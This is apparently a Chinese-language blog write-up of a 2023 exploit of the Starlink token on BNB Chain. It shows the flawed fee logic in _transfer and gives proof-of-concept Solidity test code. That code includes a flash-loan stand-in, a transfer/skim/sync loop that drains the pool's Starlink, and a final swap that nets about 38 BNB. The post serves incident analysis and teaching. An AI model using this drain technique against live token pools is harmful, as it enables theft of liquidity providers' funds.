starlink代币transfer逻辑漏洞分析

基本信息

Starlink: https://bscscan.com/address/0x518281F34dbf5B76e6cdd3908a6972E8EC49e345

attack tx: https://bscscan.com/tx/0x146586f05a4513136deab3557ad15df8f77ffbcdbd0dd0724bc66dbeab98a962

漏洞原因:_transfer函数存在逻辑错误

获利金额:38BNB

关键函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
if (
botAddresses[sender] &&
amount > antiBotAmount &&
antiBotTime > block.timestamp
) {
revert("Anti Bot");
}

uint256 contractTokenBalance = balanceOf(address(this));

if(contractTokenBalance >= _maxTxAmount) {
contractTokenBalance = _maxTxAmount;
}

bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;

bool buyLp = buyIndex >= buyIndexSellLiquify;

if (
overMinTokenBalance &&
!inSwapAndLiquify &&
sender != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}


if(recipient == uniswapV2Pair){
if (
sender != address(this) &&
recipient != address(this) &&
!_isExcludedFromFee[sender]
) {
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
sender != uniswapV2Pair &&
swapSellLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
uint256 _fee = amount.mul(sellFeeRate).div(100);
super._transfer(sender,mintContract, _fee.mul(LPSellFees).div(sellFeeRate));
super._transfer(sender, addressForMarketing, _fee.mul(marketSellFees).div(sellFeeRate));
super._transfer(sender, BurnAddr, _fee.mul(burnSellFees).div(sellFeeRate));
amount = amount.sub(_fee);
}
}else if(sender == uniswapV2Pair){
if (
sender != address(this) &&
recipient != address(this) &&
!_isExcludedFromFee[sender]
) {
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
buyLp&&
swapBuyLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
buyIndex =0;

}
uint256 _fee = amount.mul(buyFeeRate).div(100);
super._transfer(sender,mintContract, _fee.mul(LPBuyFees).div(buyFeeRate));
super._transfer(sender,addressForMarketing, _fee.mul(marketBuyFees).div(buyFeeRate));
super._transfer(sender, BurnAddr, _fee.mul(burnBuyFees).div(buyFeeRate));
amount = amount.sub(_fee);
buyIndex =buyIndex+1;
}
}

super._transfer(sender, recipient, amount);
}

当调用者是uniswapV2Pair时,会额外地执行下面三行代码。

1
2
3
super._transfer(sender,mintContract, _fee.mul(LPBuyFees).div(buyFeeRate));
super._transfer(sender,addressForMarketing, _fee.mul(marketBuyFees).div(buyFeeRate));
super._transfer(sender, BurnAddr, _fee.mul(burnBuyFees).div(buyFeeRate));

也就是说,当uniswapV2Pair向其他的账户/合约转账时,需要额外地向mintContractaddressForMarketingBurnAddr转账Starlink代币。

最后调用super._transfer(sender, recipient, amount)

意味着,每一次通过uniswapV2Pair每一次转账,Pair中的两个代币的比例就会变化。Starlink会更贵一点。

漏洞分析

闪电贷WBNB

实际分析为了简单,直接通过deal是攻击合约获得指定数量的WBNB

1
deal(address(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c), address(this), 2177831607672464852249);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function testExp() external {
//直接跳过攻击合约中的闪电贷过程,这里的2177831607672464852249是攻击合约中的闪电贷的数量
deal(address(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c), address(this), 2177831607672464852249);
WBNBToStarlink();
}

function WBNBToStarlink() internal {
uint256 amountIn = WBNB.balanceOf(address(this));
WBNB.transfer(address(Pair), WBNB.balanceOf(address(this)));
address[] memory path = new address[](2);
path[0] = address(WBNB);
path[1] = address(Starlink);
// 计算可以获得的Starlink数量
uint256[] memory values = Router.getAmountsOut(amountIn, path);
values[1] = Starlink.balanceOf(address(Pair)) * 51 / 100;
// 将池子中的51%的Starlink兑换出来
Pair.swap(values[1], 0, address(this), ""); // values[1]中的值是 29131596526957197810
}

此时Pair合约就会调用Starlink_transfer()函数。其中关键的地方是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
if(sender == uniswapV2Pair){
uint256 _fee = amount.mul(buyFeeRate).div(100); // buyFeeRate = 8
super._transfer(sender,mintContract, _fee.mul(LPBuyFees).div(buyFeeRate)); // LPBuyFees = 0
// 实际计算,等价于 super._transfer(sender,addressForMarketing, amount)
super._transfer(sender,addressForMarketing, _fee.mul(marketBuyFees).div(buyFeeRate));
super._transfer(sender, BurnAddr, _fee.mul(burnBuyFees).div(buyFeeRate)); // burnBuyFees = 0
amount = amount.sub(_fee);
buyIndex =buyIndex+1;
}
// 等价与 super._transfer(sender, recipient, amount * 0.92)
super._transfer(sender, recipient, amount);
}

每一次Pair 转账,都会向addressForMarketing 转账amount数量的Starlink,向实际的recipient,实际转账0.92倍的Starlink

这样就相当于Pair中的Starlink数量凭空少了,那么想对于WBNB的价格也提升了。

执行完毕之后:

  • addressForMarketing,增加了 29131596526957197800 数量的Starlink
  • 攻击合约中的有 26801068804800621986 数量的Starlink
  • Pair中的代币数量
    • WBNB数量:2216191447362031705944
    • Starlink数量:1188112172079822979

触发漏洞函数

漏洞的位置要求是sender == uniswapV2Pair, 也就说要求Pair调用才能出发漏洞函数。但是Pair调用Statlink只能是swap的方式,有其他的方式吗?

通过手动地向Pair合约中转账,然后通过skim的方式将转账资金重新拿回来,这样也会触发Pair合约调用Starlink

1
2
3
4
5
6
7
// 将当前合约中的Starlink代币全部转入到pair中
Starlink.transfer(address(Pair), Starlink.balanceOf(address(Pair))); // 转账数量 1188112172079822979
console2.log("Starlink.balanceOf(address(Pair) after",Starlink.balanceOf(address(Pair)));
// 调用pair的skim方法,将pair中转入的Starlink代币转入到当前合约中,这样没有损失
// 此时也会出发Starlink代币中的transfer方法
Pair.skim(address(this));
Pair.sync();

第一步中的Starlink.transfer(address(Pair), Starlink.balanceOf(address(Pair)))同样会触发漏洞函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {

if(recipient == uniswapV2Pair){
uint256 _fee = amount.mul(sellFeeRate).div(100); // sellFeeRate = 10
super._transfer(sender,mintContract, _fee.mul(LPSellFees).div(sellFeeRate)); // LPSellFees = 0
// 实际计算,等价于 super._transfer(sender,addressForMarketing, amount)
super._transfer(sender, addressForMarketing, _fee.mul(marketSellFees).div(sellFeeRate));
super._transfer(sender, BurnAddr, _fee.mul(burnSellFees).div(sellFeeRate)); // burnSellFees = 0
amount = amount.sub(_fee);
}
// // 等价与 super._transfer(sender, recipient, amount * 0.9)
super._transfer(sender, recipient, amount);
}

最终addressForMarketing,同样会多对应amount数量的Startlink代币。Pair只能获得90%数量的Startlink代币。

  • addressForMarketing,增加了 1188112172079822979 数量的Starlink
  • Pair增加了1069300954871840682数量的Starlink,此时Pair中的Token数量是2257413126951663661

第二步中的Pair.skim(address(this))同样会触发漏洞函数.

本次amount1069300954871840675

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
if(sender == uniswapV2Pair){
uint256 _fee = amount.mul(buyFeeRate).div(100); // buyFeeRate = 8
super._transfer(sender,mintContract, _fee.mul(LPBuyFees).div(buyFeeRate)); // LPBuyFees = 0
// 实际计算,等价于 super._transfer(sender,addressForMarketing, amount)
super._transfer(sender,addressForMarketing, _fee.mul(marketBuyFees).div(buyFeeRate));
super._transfer(sender, BurnAddr, _fee.mul(burnBuyFees).div(buyFeeRate)); // burnBuyFees = 0
amount = amount.sub(_fee);
buyIndex =buyIndex+1;
}
// 等价与 super._transfer(sender, recipient, amount * 0.92)
super._transfer(sender, recipient, amount);
}

对应的addressForMarketing 会增加 1069300954871840675 数量的Starlink. 对于Pair来说:

  1. super._transfer(sender,addressForMarketing, amount) 损失 amount
  2. super._transfer(sender, recipient, 0.92 * amount) 损失 0.92 * amount

最终减少的数量就是1.92 * amount

这样Pair中的Starlink就是莫名burn,那么Starlink代币的价格也会更高。

实施攻击

通过不断的transferskim的方式,大量触发Pair合约调用Stailink的转账函数,导致Stailink不断减少,Stailink 相对BNB也会更值钱。

1
2
3
4
5
while (Starlink.balanceOf(address(Pair)) > 1000) {
Starlink.transfer(address(Pair), Starlink.balanceOf(address(Pair)));
Pair.skim(address(this));
Pair.sync();
}

运行完毕之后,计算Pair中的WBNBStailink的数量。

  • WBNB数量:2216191447362031705944
  • Starlink数量:613

经过大量的循环调用,Pair合约中的Starlink已经被消耗殆尽,WBNB数量没有变化。

获利

1
2
3
4
5
6
7
8
9
10
StarlinkToWBNB();
function StarlinkToWBNB() internal {
Starlink.approve(address(Router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(Starlink);
path[1] = address(WBNB);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
Starlink.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp
);
}

攻击合约将Starlink通过Pair全部兑换为WBNB来获利。最终的结果是

  • WBNB,2216191447362031586143
  • Starlink,263141831032931492

最终获利:2216191447362031586143 - 2177831607672464852249 = 38359839689566733894 ,即 38个BNB。

文章作者: Oooverflow
文章链接: https://www.oooverflow.com/2023/02/23/starlink-vuln/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Oooverflow